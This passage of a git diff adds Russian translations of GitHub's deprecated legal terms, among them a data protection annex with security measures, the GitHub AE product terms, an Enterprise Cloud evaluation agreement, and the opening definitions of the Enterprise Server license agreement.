идентификационные сведения. Субъекты данных могут включать дополнительные данные, такие как реальные имена, изображения аватаров и другие персональные данные; + +**Специальные категории данных (при необходимости):** импортер данных не осуществляет преднамеренный сбор и обработку специальных категорий данных в процессе оказания услуг экспортеру данных. + +Тем не менее, поскольку импортер данных предоставляет услуги хранения и не управляет категориями данных, которые он хранит, экспортер данных может передавать специальные категории данных. Следовательно, экспортер данных отвечает исключительно за обеспечение исполнения всех обязательств, установленных действующими законами и правилами, регулирующими сбор и обработку всех специальных категорий данных, включая получение явного согласия субъекта данных перед обработкой конфиденциальных персональных данных. + +**Операции обработки:** в отношении передаваемых персональных данных выполняются следующие основные операции обработки — GitHub использует персональные данные с ограниченной целью, как предусмотрено Заявлением о конфиденциальности GitHub. С текстом заявления можно ознакомиться по адресу https://docs.github.com/articles/github-privacy-statement/ и в разделе «Обработка данных» DPA. + +**Субподрядчики**: В соответствии с DPA импортер данных может привлекать другие компании для предоставления ограниченного обслуживания от имени импортера данных, например, для предоставления службы поддержки клиентов. Таким субподрядчикам будет разрешено получать Персональные данные клиента только для предоставления услуг, предписанных им импортером данных, и им запрещено использовать Персональные данные клиента в других целях. + +### Приложение 2 к Стандартным договорным положениям +Описание технических и организационных мер безопасности, реализованных импортером данных в соответствии с Положениями 4(d) и 5(c): + +**1. Персонал.** Персонал импортера данных обязуется не обрабатывать Персональные данные клиента без соответствующего разрешения. Персонал обязуется сохранять конфиденциальность всех Персональных данных клиента, и это обязательство сохраняется даже после прекращения трудоустройства. + +**2. Контактное лицо по вопросам конфиденциальности данных.** Сотруднику импортера данных, отвечающий за обеспечение конфиденциальности данных, можно отправить обращение по следующему адресу: GitHub, Inc. Attn: Privacy 88 Colin P. Kelly Jr. Street, San Francisco, CA 94107 USA (США) + +**3. Технические и организационные меры.** Импортер данных внедрил и будет предпринимать надлежащие технические и организационные меры, поддерживать средства внутреннего контроля и правила по защите информации, направленные на защиту Персональных данных клиента, как определено в Приложении о безопасности GitHub, от случайных потерь, повреждений или изменений, несанкционированного раскрытия или доступа, а также от незаконного уничтожения следующим образом: Технические и организационные меры, средства внутреннего контроля и правила по защите информации, изложенные в Приложении о безопасности GitHub, настоящим включаются в настоящее Приложение 2 посредством ссылки и являются обязательными для исполнения импортером данных, как если бы они были изложены в настоящем Приложении 2 во всей своей полноте. +Подпись GitHub, Inc. отображается ниже. + +Подписание Стандартных договорных условий, Приложения 1 и Приложения 2 от имени импортера данных + +![Линн Хасимото (Lynn Hashimoto)](/assets/images/lynn_hashimoto.png) + +Линн Хасимото, глава отдела по правовой поддержке продуктов и соблюдению нормативных требований + +GitHub, Inc. + +## ПРИЛОЖЕНИЕ БЕЗОПАСНОСТИ + +### 1. Программа информационной безопасности. + +#### 1.1 Управление безопасностью. +GitHub обязуется реализовать и поддерживать надлежащие технические и организационные меры по защите Контента клиента и Защищенных данных от случайного и незаконного уничтожения, потери, изменения, несанкционированного раскрытия или доступа; передачи, хранения или иной обработки персональных данных («**Программа обеспечения безопасности**»). Эти меры должны быть определены в Политике безопасности GitHub. GitHub обязуется предоставить письменное описание мер управления безопасностью и иную информацию, запрашиваемую Клиентом в отношении мер и политик безопасности GitHub для Веб-службы. + +а. Принцип деятельности. GitHub имеет документацию по безопасности, в которой описаны меры безопасности, а также надлежащие процедуры и обязательства персонала, имеющего доступ к Контенту клиенту и Защищенным данным. + +b. Обучение обеспечению безопасности. GitHub информирует свой персонал о соответствующих процедурах безопасности и их ролях. GitHub также информирует свой персонал о возможных последствиях нарушения правил и процедур безопасности. GitHub обязуется использовать только анонимные данные в процессе обучения. + +#### 1.2 Управление нарушениями информационной безопасности. +GitHub предоставляет программу управления инцидентами безопасности для Веб-службы следующим образом: + +а. Доступность и эскалация обращений по вопросам безопасности. GitHub обязуется поддерживать соответствующие процессы обращения и эскалации по вопросам безопасности в круглосуточном режиме, чтобы дать возможность клиентам и сотрудникам отправлять проблемы специалистам по безопасности GitHub. + +b. Реагирование на инциденты. Если GitHub станет известно о каком-либо нарушении безопасности, которое ведет к случайному или незаконному уничтожению, потере, изменению, несанкционированному раскрытию Данных клиента или Персональных данных (в каждом случае — «Нарушение информационной безопасности»), GitHub незамедлительно (1) уведомит Клиента о Нарушении информационной безопасности; (2) расследует Нарушения информационной безопасности и предоставит Клиенту подробную информацию о соответствующем Нарушении информационной безопасности; (3) примет обоснованные меры для смягчения последствий и минимизации какого-либо ущерба, возникшего в результате Нарушения информационной безопасности. + +c. Уведомление. Уведомление (Уведомления) о Нарушениях информационной безопасности, при их наличии, будут отправляться одному или нескольким администраторам Клиента любым выбранным GitHub способом. Клиент несет единоличную ответственность за то, чтобы администраторы Клиента отслеживали любые уведомления и реагировали на них. Клиент несет единоличную ответственность за соблюдение взятых им на себя обязательств в рамках законодательства по уведомлению о Нарушении информационной безопасности, применимого к Клиенту, а также обязан выполнять любые обязательства по уведомлению любой третьей стороны о любом Нарушении информационной безопасности. + +Г. Разумная помощь. GitHub обязуется прилагать коммерчески обоснованные усилия для оказания помощи Клиенту в выполнении Клиентом его обязательств по уведомлению соответствующих регулирующих и надзорных органов и субъектов данных о таком Нарушении информационной безопасности согласно применимому праву или нормативно-правовым актам. + +#### 1.3 Проверка благонадежности Субподрядчиков и Поставщиков. +GitHub обязуется провести проверку благонадежности при привлечении субподрядчиков и поставщиков. GitHub обязуется хранить отчеты об оценке поставщиков и всех действиях по оценке за период не менее трех лет. + +#### 1.4 Меры физической и экологической безопасности. +а. Физический доступ в помещения. GitHub ограничивает доступ к помещениям, в которых расположены информационные системы обработки Контента клиента и Защищенных данных, и предоставляет его только указанным уполномоченным лицам. + +b. Физический доступ к компонентам. GitHub хранит записи о входящих и исходящих носителях, содержащих Контент клиента и Защищенные данные, в том числе сведения о типе носителя, данные об уполномоченных отправителях и получателях, дату и время, количество носителей и типы содержащихся на них Контента клиента и Защищенных данных. + +c. Защита от повреждений. GitHub использует стандартные отраслевые системы для защиты от утраты данных вследствие перебоев электропитания или помех в линии связи. + +#### 2. Запросы на получение информации. +После письменного запроса клиента и не чаще одного раза в год GitHub будет отвечать на один запрос информации в целях оценки информации по рискам безопасности и соблюдения требований. Ответ будет предоставлен в письменной форме в течение тридцати дней после получения запроса, для которого ожидаются необходимые разъяснения. + +#### 3. Сотрудничество в рамках нормативно-правовых проверок. +Если Клиент проводит нормативно-правовую проверку или аудит в ответ на требование Надзорного органа, и такой проверке должна участвовать компания GitHub, GitHub обязуется оказать полное содействие по запросу, предоставляя доступ к соответствующему персоналу, документации и программному обеспечению приложений. Клиент имеет следующие обязательства в отношении таких нормативно-правовых проверок или проверок Надзорных органов: + +а. Клиент обязуется обеспечить возможность привлечения сторонних лиц (то есть, регулятивных органов или их полномочных представителей), и что доступ Клиента к результатам и данным, которые не требуются Клиенту, будет ограничен. + +b. Уведомление о такой проверке должно быть своевременно направлено GitHub в письменной форме (ожидается уведомление от регулятора) и таким способом, который позволяет привлечь для оказания помощи соответствующих сотрудников. Если регулятор не предоставляет Клиенту заблаговременное уведомление о проверке или расследовании, GitHub обязуется своевременно отреагировать способом, который предусмотрен регулятором. + +c. Все сторонние аудиторы должны раскрыть GitHub все результаты и рекомендуемые действия, если это разрешено регулятором. + +Г. В случае нормативно-правовой проверки доступ будет разрешен только в стандартное рабочее время (по Тихоокеанскому времени). + +д) В тех случаях, когда это разрешено законом, клиент обязуется хранить все конфиденциальную информацию, полученную с помощью любой такой проверки, проведенной GitHub, которая по своему характеру должна быть конфиденциальной. diff --git a/translations/ru-RU/content/site-policy/site-policy-deprecated/github-ae-product-specific-terms.md b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-ae-product-specific-terms.md new file mode 100644 index 000000000000..8a5df41ebdea --- /dev/null +++ b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-ae-product-specific-terms.md @@ -0,0 +1,66 @@ +--- +title: Условия использования продукта GitHub AE +hidden: true +versions: + fpt: '*' +redirect_from: + - /github/site-policy/ghem-supplemental-terms-for-microsoft-volume-licensing + - /github/site-policy/github-ae-product-specific-terms + - /github/site-policy-deprecated/github-ae-product-specific-terms +ms.openlocfilehash: b9e4d1506b9c5531dbb05152087c5708d14728e4 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099295' +--- +_Эти условия действуют для клиентов, которые лицензировали продукты до 4 января 2021 г. Для клиентов, приобретающих продукты GitHub после этой даты, действуют текущие условия https://www.github.com/enterprise-legal._ + +Соглашение включает эти Условия использования продукта GitHub AE, Общие условия, принятые Клиентом, и все дополнительные условия GitHub или аффилированных лиц GitHub, которые существуют на момент размещения заказа. + +## 1. Учетные записи. + +**Ответственность за учетную запись.** Управление клиентами и ответственность за учетные записи Конечных пользователей и Контент. + +**Безопасность учетной записи.** Клиент отвечает за обеспечение безопасности учетных данных для входа в учетную запись. + +**Политики использования.** Конечные пользователи Клиента обязуются соблюдать Политику допустимого использования. + +**Приостановка.** GitHub вправе приостановить использование Веб-службы в течение любого периода, когда Клиент совершает существенное нарушение. + +**Доступ.** GitHub не осуществляет доступ к Контенту клиента, если это не требуется для поддержки или для обеспечения безопасности. + +**DMCA.** GitHub применяет Политику работы с нарушениями Закона о цифровых правах на авторское право (DMCA), которая действует в отношении нарушений авторских прав. + +## 2. Контент. + +**Право собственности на Контент.** Клиент владеет Контентом, который он создает, и обязуется в полной мере соблюдать все требования сторонних лицензий, относящихся к Контенту, публикуемому Клиентом. + +**Предоставление лицензии GitHub.** Если Контент клиента имеет отдельную лицензию, которая дает GitHub права, необходимые для эксплуатации Веб-службы, Клиент предоставляет GitHub право использовать Контент клиента и при необходимость создавать его копии, если это требуется для предоставления Веб-службы, поддержки или обеспечения безопасности. Кроме того, компания GitHub может быть в силу закона обязана раскрывать Контент клиента. + +## 3. Сторонние продукты. +GitHub вправе предоставлять сторонние продукты посредством своей Веб-службы. Клиент вправе использовать сторонние продукты с Веб-службой только при условии, что такое использование не влечет для GitHub возникновения обязательств, выходящих за рамки обязательств в отношении прав интеллектуальной собственности GitHub, явным образом предусмотренных настоящим Соглашением. GitHub не несет ответственности и обязательств в отношении каких бы то ни было сторонних продуктов. Использование Клиентом сторонних продуктов регулируется условиями издателя сторонних продуктов (если есть), принятыми Клиентом. + +## 4. Поддержка и соглашение об уровне обслуживания (SLA). +Веб-служба включает Поддержку и Соглашение об уровне обслуживания (SLA). + +## 5. Защита данных и безопасность. +Условия Соглашения о защите данных применяются к Веб-службе. + +## 6. Уведомления. +Уведомления для GitHub направляются по следующему адресу: GitHub, Inc. Attn: Legal Dept., 88 Colin P. Kelly St, San Francisco, CA 94107 USA (США). + +## 7. Определения. +**"Политика допустимого использования"** означает (при покупке продуктов и услуг GitHub) Политику допустимого использования, приведенную на веб-сайте или (при покупке продуктов и услуг Майкрософт) Политику допустимого использования, указанную в Условиях предоставления веб-служб Майкрософт. + +**"Контент"**  — текст, данные, программное обеспечение, изображения и любые другие материалы, отображаемые или иным способом предоставляемые посредством Веб-службы. + +**"Контент клиента"** означает Контент, который Клиент создает, которым Клиент владеет или права на который принадлежат Клиенту. + +**"Соглашение о защите данных"**  — Соглашение о защите данных GitHub AE, текст которого приведен в https://docs.github.com/github/site-policy. + +**"Политика работы с нарушениями Закона о защите авторских прав в цифровую эпоху"**  — процедура, применяемая GitHub для работы с уведомлениями о нарушениях авторских прав, описание которой приведено в https://docs.github.com/github/site-policy. + +**"Соглашение об уровне обслуживания (SLA)"**  — обязательство GitHub по обеспечению времени доступности Веб-службы, текст которого приведен в https://docs.github.com/github/site-policy. + +**"Поддержка"**  — программа поддержки GitHub "Премиум плюс", подробное описание которой приведено в https://docs.github.com/github/site-policy. diff --git a/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md new file mode 100644 index 000000000000..dc093bdf1acc --- /dev/null +++ b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md @@ -0,0 +1,57 @@ +--- +title: Соглашение GitHub о пробном использовании Облака предприятия +hidden: true +redirect_from: + - /articles/github-enterprise-cloud-evaluation-agreement + - /github/site-policy/github-enterprise-cloud-evaluation-agreement + - /github/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement +versions: + fpt: '*' +ms.openlocfilehash: 314c130bd14f341126b6d1854ccf2b71fc94b699 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099312' +--- +_Эти условия действуют для клиентов, которые лицензировали продукты до 4 января 2021 г. Для клиентов, приобретающих продукты GitHub после этой даты, действуют текущие условия https://www.github.com/enterprise-legal._ + +БЛАГОДАРИМ ВАС ЗА ВЫБОР GITHUB ДЛЯ ДЕЛОВЫХ ПОТРЕБНОСТЕЙ ВАШЕЙ КОМПАНИИ. ВНИМАТЕЛЬНО ПРОЧИТАЙТЕ ЭТИ УСЛОВИЯ, ТАК КАК ОНИ РЕГУЛИРУЮТ ПРОБНОЕ ИСПОЛЬЗОВАНИЕ СЛУЖБЫ, ЕСЛИ КОМПАНИЯ GITHUB НЕ ЗАКЛЮЧИЛА ОТДЕЛЬНОЕ ПИСЬМЕННОЕ СОГЛАШЕНИЕ С КЛИЕНТОМ ДЛЯ ЭТОЙ ЦЕЛИ. НАЖИМАЯ НА "Я СОГЛАСЕН" ИЛИ ПОХОЖУЮ КНОПКУ ИЛИ ПОЛУЧАЯ ДОСТУП К ПРОБНОЙ ВЕРСИИ СЛУЖБЫ, КЛИЕНТ ТЕМ САМЫМ ПРИНИМАЕТ ВСЕ УСЛОВИЯ НАСТОЯЩЕГО СОГЛАШЕНИЯ О ПРОБНОМ ИСПОЛЬЗОВАНИИ. ЕСЛИ КЛИЕНТ ЗАКЛЮЧАЕТ НАСТОЯЩЕЕ СОГЛАШЕНИЕ О ПРОБНОМ ИСПОЛЬЗОВАНИИ ОТ ИМЕНИ КОМПАНИИ ИЛИ ДРУГОГО ЮРИДИЧЕСКОГО ЛИЦА (ДАЛЕЕ ИМЕНУЕТСЯ **КЛИЕНТ**), КЛИЕНТ ТЕМ САМЫМ ЗАЯВЛЯЕТ, ЧТО ИМЕЕТ ЮРИДИЧЕСКИЕ ПОЛНОМОЧИЯ СВЯЗАТЬ КОМПАНИЮ ИЛИ ДРУГОЕ ЮРИДИЧЕСКОЕ ЛИЦО НАСТОЯЩИМ СОГЛАШЕНИЕМ О ПРОБНОМ ИСПОЛЬЗОВАНИИ. КРОМЕ ТОГО, ПРИНИМАЯ ЭТИ УСЛОВИЯ, КЛИЕНТ СОГЛАШАЕТСЯ С ТЕМ, ЧТО ОН ОЗНАКОМЛЕН С ЗАЯВЛЕНИЕМ О КОНФИДЕНЦИАЛЬНОСТИ GITHUB. + +## 1. Корпоративные условия предоставления услуг + +Чтобы получить доступ для пробного использования, Клиент должен иметь Корпоративную учетную запись на сайте GitHub.com. Пробное использование Клиентом Облака предприятия будет регулироваться этими Корпоративными условиями предоставления услуг (см. по адресу [https://docs.github.com/articles/github-corporate-terms-of-service](/articles/github-corporate-terms-of-service)) (вместе с **Соглашением о пробном использовании**). Однако все дополнительные условия, относящиеся к [Дополнению об Облаке предприятия](/articles/github-enterprise-cloud-addendum), **не будут** применяться до тех пор, пока Клиент не обновит приобретенную версию до платной подписки на Облако предприятия. Все термины, которые пишутся с заглавной буквы, не определенные в этом Соглашении о пробном использовании, определяются в Корпоративных условиях предоставления услуг. + +## 2. Срок действия и расторжение + +*2.1. Срок действия* Дата вступления в силу Соглашения о пробном использовании — это дата, начиная с которой Клиент соглашается с условиями этого Соглашения о пробном использовании. Настоящее Соглашение вступает в силу с Даты вступления в силу и действует в течение четырнадцати (14) дней (**Срок пробного использования**). + +*2.2. Расторжение* Любая из сторон вправе расторгнуть это Соглашение о пробном использовании по любой причине. Раздел 2.3 будет применяться в том случае, если любая из сторон решит расторгнуть Соглашение о пробном использовании. Действие настоящего Соглашения о пробном использовании прекращается немедленно, без уведомления, если Клиент нарушает какое-либо условие настоящего Соглашения о пробном использовании. + +*2.3. Последствия расторжения* По истечении срока оценки все лицензии подписки будут автоматически прерваны; Клиент больше не будет иметь права использовать Enterprise Cloud. Клиент может потерять доступ к Контенту, функциям или емкости учетной записи. Сведения о получении копии этого Контента см. в разделе "Последствия расторжения" Корпоративных условий предоставления услуг. + +## 3. Гарантии и заявления об отказе от ответственности + +КЛИЕНТ ПОНИМАЕТ И СОГЛАШАЕТСЯ С ТЕМ, ЧТО ВСЕ МАТЕРИАЛЫ И СВЕДЕНИЯ, ПРЕДОСТАВЛЯЕМЫЕ GITHUB, К КОТОРЫМ КЛИЕНТ ИМЕЕТ ДОСТУП В РАМКАХ НАСТОЯЩЕГО СОГЛАШЕНИЯ О ПРОБНОМ ИСПОЛЬЗОВАНИИ (В ТОМ ЧИСЛЕ ВСЮ КОНФИДЕНЦИАЛЬНУЮ И МАТЕРИАЛЫ ИЗ УЧЕТНОЙ ЗАПИСИ ДЛЯ ПРОБНОГО ИСПОЛЬЗОВАНИЯ), ПРЕДОСТАВЛЯЮТСЯ **КАК ЕСТЬ** И БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ. GITHUB, В ЧАСТНОСТИ, НЕ ПРИЗНАЕТ ВСЕВОЗМОЖНЫХ ПОДРАЗУМЕВАЕМЫХ ГАРАНТИЙ ИЛИ УСЛОВИЙ ОТНОСИТЕЛЬНО ТОВАРНОЙ ПРИГОДНОСТИ, ПРИМЕНИМОСТИ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ И НЕНАРУШЕНИЯ ПРАВА СОБСТВЕННОСТИ. + +## 4. Ограничение ответственности + +НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ GITHUB НЕ НЕСЕТ ОТВЕТСТВЕННОСТИ ПЕРЕД КЛИЕНТОМ ИЛИ ПЕРЕД ЛЮБЫМ ТРЕТЬИМ ЛИЦОМ ЗА ЛЮБОЙ КОСВЕННЫЙ, ОСОБЫЙ, СЛУЧАЙНЫЙ, ПОСЛЕДУЮЩИЙ, ПРИМЕРНЫЙ УЩЕРБ ИЛИ ШТРАФНЫЕ УБЫТКИ, ВКЛЮЧАЯ, ПОМИМО ПРОЧЕГО, УЩЕРБ ИЗ-ЗА УТРАЧЕННЫХ ДАННЫХ, УПУЩЕННОЙ ПРИБЫЛИ ИЛИ РАСХОДОВ НА ПРИОБРЕТЕНИЕ ЗАМЕНЯЮЩИХ ТОВАРОВ ИЛИ УСЛУГ, ЧЕМ БЫ ЭТО НИ БЫЛО ВЫЗВАНО, НЕЗАВИСИМО ОТ ПРИЧИНЫ И ВИДА ОТВЕТСТВЕННОСТИ, БУДЬ ТО В ДОГОВОРЕ, ДЕЛИКТЕ (ВКЛЮЧАЯ, ПОМИМО ПРОЧЕГО, ОТВЕТСТВЕННОСТЬ ЗА ПРОДУКТ, СТРОГУЮ ОТВЕТСТВЕННОСТЬ И НЕБРЕЖНОСТЬ), НЕЗАВИСИМО ОТ ЛЮБОЙ ДРУГОЙ ТЕОРИИ, И НЕЗАВИСИМО ОТ ТОГО, БЫЛО ЛИ ИЗВЕСТНО GITHUB (ИЛИ ДОЛЖНО БЫЛО БЫТЬ ИЗВЕСТНО) О ВОЗМОЖНОСТИ ТАКОГО УЩЕРБА. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ СОВОКУПНАЯ ОТВЕТСТВЕННОСТЬ GITHUB ПЕРЕД КЛИЕНТОМ, ВОЗНИКАЮЩАЯ ИЗ НАСТОЯЩЕГО СОГЛАШЕНИЯ О ПРОБНОМ ИСПОЛЬЗОВАНИИ ИЛИ СВЯЗАННАЯ С НИМ, ПО ЛЮБОЙ ПРИЧИНЕ И НЕЗАВИСИМО ОТ ФОРМЫ ИСКА, БУДЬ ТО ПО ДОГОВОРУ ИЛИ ДЕЛИКТУ, НЕ БУДЕТ ПРЕВЫШАТЬ ПЯТЬСОТ ДОЛЛАРОВ (500,00 ДОЛЛ. США). ВЫШЕИЗЛОЖЕННЫЕ ОГРАНИЧЕНИЯ ПРИМЕНЯЮТСЯ НЕЗАВИСИМО ОТ НЕИСПОЛНЕНИЯ ОСНОВНОЙ ЦЕЛИ ЛЮБОГО ОГРАНИЧЕННОГО СРЕДСТВА ПРАВОВОЙ ЗАЩИТЫ, УКАЗАННОГО В НАСТОЯЩЕМ СОГЛАШЕНИИ О ПРОБНОМ ИСПОЛЬЗОВАНИИ. + +## 5. Конфиденциальность + +5.1. В рамках разработки и оценки программ пробного использования GitHub требуется собрать сведения о том, как Клиенты используют службы и программы, а также о том, как GitHub может их улучшить. GitHub вправе собирать некоторые дополнительные персональные данные Клиента. Например, GitHub может предложить Клиенту оставить отзыв (как описано в разделе 6 ниже). GitHub вправе задавать вопросы о впечатлениях Клиента, опыте работы с продуктом или демографических характеристиках. GitHub использует эту информацию для улучшения своих продуктов и услуг и не передает Обратную связь третьим лицам или рекламодателям. Клиент может отказаться от предоставления Обратной связи, отказаться от ответа на конкретные вопросы или обратиться в GitHub с просьбой удалить или изменить собранные сведения о Клиенте. + +5.2. Серверы GitHub находятся в США. GitHub обрабатывает данные Клиента на территории США. Однако Клиент самостоятельно несет ответственность за определение персональных данных, которые он передает GitHub. Дополнительные сведения см. в [Заявлении о конфиденциальности](/articles/github-privacy-statement). + +## 6. Обратная связь + +GitHub неизменно стремится повысить качество своих продуктов и услуг, а отзывы Клиентов о работе с учетными записями для пробного использования помогают сделать это. Если Клиент предоставляет GitHub Обратную связь, Клиент тем самым подтверждает и соглашается с тем, что GitHub получает безвозмездную, полностью оплаченную, глобальную, передаваемую, сублицензируемую, безотзывную и бессрочную лицензию на внедрение, использование, изменение, коммерческое использование и/или включение обратной связи в продукты, услуги и документацию GitHub. + +## 7. Поправки; Отказ от обязательств; Отсутствие сторонних бенефициаров + +Это Соглашение о пробном использовании может быть изменено только при условии внесения изменений в письменной форме за подписью обеих сторон или путем обновления текста Общих применимых условий. Если какое-либо положение, условие или положение настоящего Соглашения о пробном использовании будет признано недействительным или не имеющим исковой силы, остальные условия останутся в силе и подлежат исполнению в максимально возможной степени, разрешенной законом. Стороны прямо соглашаются с тем, что в настоящем Соглашении о пробном использовании нет сторонних бенефициаров. + +## 8. Исчерпывающий характер соглашения; приоритетность + +Общие условия вместе с настоящим Соглашением о пробном использовании содержат полное соглашение сторон в отношении его предмета и заменяют собой все предыдущие сообщения, заявления, договоренности и соглашения, как письменные, так и устные. Условия любых заказов Клиента на покупку, подтверждений или других документов, которые Клиент отправляет GitHub в связи с настоящим Соглашением о пробном использовании, будут недействительными и не имеющими силы. В случае расхождения между этим Соглашением о пробном использовании и Общими применимыми условиями это Соглашение о пробном использовании будет иметь преимущественную силу в том, что касается соответствующего положения о сроке пробного использования в тексте Соглашения о пробном использовании. diff --git a/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md new file mode 100644 index 000000000000..03cbe3037bed --- /dev/null +++ b/translations/ru-RU/content/site-policy/site-policy-deprecated/github-enterprise-server-license-agreement.md @@ -0,0 +1,193 @@ +--- +title: Лицензионное соглашение GitHub Enterprise Server +hidden: true +redirect_from: + - /articles/github-enterprise-server-license-agreement + - /github/site-policy/github-enterprise-server-license-agreement + - /github/site-policy-deprecated/github-enterprise-server-license-agreement +versions: + fpt: '*' +ms.openlocfilehash: 46e22d433532263ebef0599c92f7563b96257d1b +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099288' +--- +_Эти условия действуют для клиентов, которые заключили действующие соглашения со ссылкой на такие условия. Все остальные корпоративные клиенты перенаправляются по адресу https://www.github.com/customer-terms, где доступны текущие условия._ + +Настоящее Соглашение применяется к следующим предложениям GitHub, как определено ниже (в совокупности **«Продукты»**): + +- Программное обеспечение (которое может включать Дополнительное программное обеспечение, например Advanced Security, Insights и Учебную лабораторию для Enterprise Server); + +- Любая соответствующая Поддержка; и + +- Любые сопутствующие Профессиональные услуги. + +Если Клиент приобрел Продукты у Партнера GitHub, следующие положения настоящего Соглашения будут заменены условиями, согласованными между Клиентом и Партнером GitHub: раздел 8 ("Оплата"); раздел 9 ("Доставка"); раздел 10 ("Верификация") и раздел 17 ("Срок действия и прекращение действия"). + +**1. Определения.** Слова, написанные с прописной буквы и не перечисленные здесь, будут определены в рамках соглашения. + +**"Дополнительное программное обеспечение"**  — Advanced Security, Insights, Учебная лаборатория для Enterprise Server, а также другие программные продукты, дополняющие Программное обеспечение, которые время от времени может предлагать GitHub. + +**"Advanced Security"**  — компонент Программного обеспечения, который позволяет Клиенту выявлять уязвимости безопасности с помощью настраиваемого автоматизированного семантического анализа кода. + +**"Дата вступления в силу"**  — более ранняя из дат, когда Клиент щелкает элемент "Принимаю", выражая согласие с условиями этого Соглашения или впервые размещает заказ на Продукты. + +**"Аффилированное лицо"**  — любое юридическое лицо, которое прямо или косвенно контролирует сторону, контролируется стороной или находится под общим контролем со стороной, где "контроль" означает наличие более пятидесяти процентов (50 %) владения или права на управление юридическим лицом. + +**"Предварительные бета-версии"**  — программное обеспечение, услуги или функции, обозначенные как альфа-версия, бета-версия, предварительная версия, версия для раннего доступа или ознакомительная версия, а также слова или фразы с аналогичным значением. + +**"Клиент"**  — компания или организация, которая заключила настоящее Соглашение с GitHub, нажав кнопку "Принимаю" или аналогичную кнопку или получив доступ к Продуктам. + +**"Модификации Клиента"**  — модификации Программного обеспечения, которые Клиент вправе вносить самостоятельно по своему усмотрению в целях разработки исправлений ошибок, индивидуальных настроек или дополнительных функций библиотек, лицензированных по лицензиям с открытым кодом, которые могут быть включены в Программное обеспечение или связаны с ним. + +**"Документация"**  — любые руководства, документация и другие вспомогательные материалы, относящиеся к Программному обеспечению, которые GitHub предоставляет или делает доступными для Клиента. Документация считается частью программного обеспечения. + +**"Обратная связь"**  — любые идеи, ноу-хау, алгоритмы, дополнения к коду, предложения, запросы на улучшение, рекомендации или любые другие отзывы о продуктах либо услугах GitHub. + +**"Сборы"**  — вознаграждение, которое Клиент должен заплатить GitHub за использование Продуктов в течение применимого Срока действия Подписки или получение Профессиональных услуг, как это отражено в Форме заказа или ТЗ. + +**"GitHub Insights"** или **"Insights"**  — компонент Программного обеспечения, который предоставляет Клиентам метрики, аналитику и рекомендации, касающиеся использования Клиентами Программного обеспечения. GitHub Insights не включает устаревшие функции GitHub, в том числе аналитику организации и аналитику репозитория. + +**"Партнер GitHub"**  — компания, уполномоченная для перепродажи Продуктов GitHub в соответствии с условиями Соглашения с партнером по сбыту GitHub. + +**"Учебная лаборатория для Enterprise Server"**  — компонент Программного обеспечения, который позволяет Пользователям изучить функциональные возможности GitHub, в том числе сопутствующую Документацию. + +**"Дата вступления лицензии в силу"**  — дата вступления в силу каждой Формы заказа, как указано в такой форме. + +**"Лицензионный ключ"**  — файл данных, используемый механизмом управления доступом к Программному обеспечению, который позволяет вам устанавливать, эксплуатировать и использовать Программное обеспечение, поставляемое с помощью надежного защищенного паролем веб-сайта. + +**"Форма заказа"**  — письменная или электронная документация (включая расценки), которую Стороны могут использовать для заказа Продуктов. + +**"Стороны"**  — совокупное обозначение GitHub и Клиента. По отдельности каждая из них может обозначаться как **"Сторона"** . + +**"Профессиональные услуги"**  — услуги по обучению, консультированию или внедрению, которые GitHub предоставляет Клиенту в соответствии с оформленным в двустороннем порядке ТЗ. Профессиональные услуги не включают Поддержку. + +**"Выпуск"**  — выпуск Программного обеспечения, который GitHub делает общедоступным для своих клиентов, а также все соответствующие изменения в Документации, которая содержит описание улучшений, новых функций или новых функциональных возможностей; как правило, обозначается изменением цифры справа от первой десятичной точки (например, с x.x.x по x.y.x) или слева от первой десятичной точки (например, с x.x.x по y.x.x). + +**"Программное обеспечение"**  — защищаемое программное обеспечение Enterprise Server, принадлежащее GitHub. Программное обеспечение включает всю сопутствующую Документацию, все Обновления Программного обеспечения, которые GitHub предоставляет Клиенту или к которым Клиент может получить доступ в рамках этого Соглашения, и Дополнительное программное обеспечение (если оно включено в подписку Клиента). + +**"ТЗ"**  — оформленное в двустороннем порядке техническое задание с подробным описанием Профессиональных услуг, которые будет выполнять GitHub, любых связанных сборов и соответствующих обязательств каждой стороны. + +**"Лицензия на подписку"**  — лицензия, назначенная каждому Пользователю для установки, эксплуатации и использования Программного обеспечения от имени Клиента, а также доступа к Программному обеспечению. Клиент может назначить только одну Лицензию на подписку для каждого Пользователя в своих экземплярах GitHub Enterprise Server. Каждый Пользователь будет иметь доступ к количеству экземпляров Enterprise Server, которое разрешено Клиентом. Но для ясности следует отметить, что, после того как Клиент передает Лицензию на подписку Пользователю, Клиент не будет уполномочен разделять Лицензию на подписку таким образом, чтобы один Пользователь мог использовать Лицензию на подписку на Enterprise Server, а другой Пользователь использовал ту же Лицензию на подписку на другой экземпляр GitHub Enterprise Server. + +**"Срок действия подписки"**  — период в один (1) год с Даты вступления лицензии в силу, если иной период не указан в Форме заказа. GitHub предоставит Клиенту уведомление о продлении не менее чем за шестьдесят (60) дней до истечения Срока действия подписки и создаст новую Форму заказа для продления. GitHub предоставит Клиенту новый Лицензионный ключ для скачивания, который позволит продолжить использование программного обеспечения в соответствии с Формой заказа. + +**"Поддержка"**  — техническая поддержка Программного обеспечения, которую может предоставлять GitHub. + 